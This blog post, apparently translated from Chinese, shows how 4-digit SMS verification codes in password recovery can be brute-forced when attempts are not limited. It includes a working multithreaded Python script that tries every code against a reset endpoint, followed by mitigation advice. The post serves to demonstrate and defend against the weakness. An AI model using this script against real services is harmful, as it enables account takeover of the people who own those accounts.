Post

Security Issues with SMS Verification Code Strength in Password Recovery

Demonstrating the severity of brute force attacks using Python

Security Issues with SMS Verification Code Strength in Password Recovery

ℹ️ℹ️ℹ️ The following content is translated by OpenAI.

Click here to view the original Chinese version. | 點此查看本文中文版


Security Issues with SMS Verification Code Strength in Password Recovery

Demonstrating the severity of brute force attacks using Python

Photo by [Matt Artz](https://unsplash.com/@mattartz?utm_source=unsplash&utm_medium=referral&utm_content=creditCopyText){:target="_blank"}

Photo by Matt Artz

Introduction

This article does not contain much technical content related to cybersecurity; it simply stems from a recent thought while using a certain platform’s website. I wanted to test its security and discovered some issues.

When using the password recovery feature on websites or apps, there are generally two options: one is to enter the account or email, after which a link containing a token to reset the password is sent to the email. Clicking the link opens the page to reset the password, which is usually not problematic unless there are design flaws as mentioned in a previous article.

The other method for password recovery is to enter the bound mobile phone number (mostly used in app services), after which an SMS verification code is sent to the phone. Once the code is entered, the password can be reset. However, for convenience, most services use purely numeric codes. Additionally, since iOS ≥ 11 introduced the Password AutoFill feature, when the phone receives the verification code, the keyboard automatically detects it and prompts the user.

According to the official documentation, Apple has not provided specific format rules for automatic code filling. However, I have observed that almost all services that support auto-fill use purely numeric codes, suggesting that only numbers are allowed and complex combinations of numbers and letters are not permitted.

Issues

Due to the potential for brute force attacks on numeric passwords, especially with 4-digit codes, there are only 10,000 combinations from 0000 to 9999. Using multiple threads and machines, one can perform a distributed brute force attack.

Assuming a response time of 0.1 seconds per verification request, for 10,000 combinations, the calculation is as follows:

1
Time required for cracking attempts: ((10,000 * 0.1) / number of threads) seconds

Even without using threads, it would only take a little over 16 minutes to try all possible SMS verification codes.

In addition to insufficient password length and complexity, there are two other issues: the lack of a limit on the number of attempts for the verification code and the excessively long validity period of the code.

Summary

In summary, this cybersecurity issue is commonly found on the app side; web services typically implement measures such as CAPTCHA after multiple failed attempts or require additional security questions when requesting a password reset, making it more difficult to send verification requests. Additionally, if the web service does not separate the front and back end, each verification request may require loading the entire webpage, increasing response times.

On the app side, due to process design and user convenience, the password reset process is often simplified. Some apps even allow login through mobile number verification. If there are no protections on the API side, this can lead to security vulnerabilities.

Implementation

⚠️ Warning ⚠️ This article is solely for demonstrating the severity of this security issue; please do not use this information for malicious purposes.

Sniffing Verification Request API

Everything starts with sniffing. For this part, you can refer to previous articles like “Apps use HTTPS for transmission, but data is still stolen.” and “Using Python + Google Cloud Platform + Line Bot to automate routine tasks”. I recommend using the Proxyman tool for sniffing.

If it is a front-end and back-end separated web service, you can also use Chrome -> Inspect -> Network to see what requests are sent after submitting the verification code.

Assuming the verification request received is:

1
POST https://zhgchg.li/findPWD

Response:

1
2
3
4
{
   "status": false,
   "msg": "Verification error"
}

Writing a Brute Force Python Script

crack.py:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
import random
import requests
import json
import threading

phone = "0911111111"
found = False
def crack(start, end):
    global found
    for code in range(start, end):
        if found:
            break
        
        stringCode = str(code).zfill(4)
        data = {
            "phone": phone,
            "code": stringCode
        }

        headers = {}
        try:
            request = requests.post('https://zhgchg.li/findPWD', data=data, headers=headers)
            result = json.loads(request.content)
            if result["status"] == True:
                print("Code is:" + stringCode)
                found = True
                break
            else:
                print("Code " + stringCode + " is wrong.")
        except Exception as e:
            print("Code " + stringCode + " exception error (" + str(e) + ")")

def main():
    codeGroups = [
        [0, 1000], [1000, 2000], [2000, 3000], [3000, 4000], [4000, 5000],
        [5000, 6000], [6000, 7000], [7000, 8000], [8000, 9000], [9000, 10000]
    ]
    for codeGroup in codeGroups:
        t = threading.Thread(target=crack, args=(codeGroup[0], codeGroup[1],))
        t.start()

main()

After running the script, we obtain:

1
Verification code equals: 1743

Using 1743, we can reset the password or directly log into the account.

Bingo!

Solutions

  • Increase the amount of information required for password resets (e.g., birthday, security questions)
  • Increase the length of the verification code (e.g., Apple’s 6-digit codes) and enhance code complexity (if it does not affect AutoFill functionality)
  • Make the verification code invalid after more than 3 incorrect attempts, requiring the user to request a new code
  • Shorten the validity period of the verification code
  • Lock the device after too many incorrect attempts and implement CAPTCHA
  • Implement SSL Pinning and encryption for data transmission in apps (to prevent sniffing)

Further Reading

If you have any questions or feedback, feel free to contact me.


This article was first published on Medium ➡️ Click Here

Automatically converted and synchronized using ZMediumToMarkdown and Medium-to-jekyll-starter.

Improve this page on Github.

Buy me a beer

1,260 Total Views
Last Statistics Date: 2025-03-25 | 1,222 Views on Medium.
This post is licensed under CC BY 4.0 by the author.